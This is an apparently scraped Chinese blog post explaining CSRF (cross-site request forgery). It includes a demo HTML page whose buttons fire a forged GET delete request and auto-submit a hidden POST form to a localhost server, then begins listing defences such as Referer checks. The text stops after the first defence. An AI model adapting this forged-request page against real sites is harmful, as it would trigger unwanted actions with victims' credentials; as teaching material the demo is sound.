前幾天在考慮先後端認證方式時,想到了crsf攻擊,由於以前都是隻瞭解大概原理並無真正實現過,因此想寫一個demo,實現一下。javascript
CSRF跨站點請求僞造(Cross—Site Request Forgery),跟XSS攻擊同樣,存在巨大的危害性,你能夠這樣來理解:
攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做。
複製代碼
假設用戶登陸成功在瀏覽器留下認證的cookies,且執行了一些操做,如圖:html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<button onclick="btn1()">csrf攻擊get方法</button>
<button onclick="btn2()">csrf攻擊post方法</button>
<form action="http://localhost:8080/bb" method="post" id="test">
<input style="display:none;" type="text" name="user" value="5"><br>
<input style="display:none;" type="text" name="pass" value="55">
</form>
<script> function btn1() { window.location.href = "http://localhost:8080/aa?ID=12345&delete=55" } function btn2() { const f = document.getElementById('test'); f.submit(); } </script>
</body>
</html>
複製代碼
如此能夠看到攻擊成功,其餘就是瀏覽器請求時自動把cookies帶上,認證經過以後進行意外的操做。java
1.驗證referer請求頭:它記錄了該 HTTP 請求的來源地址後端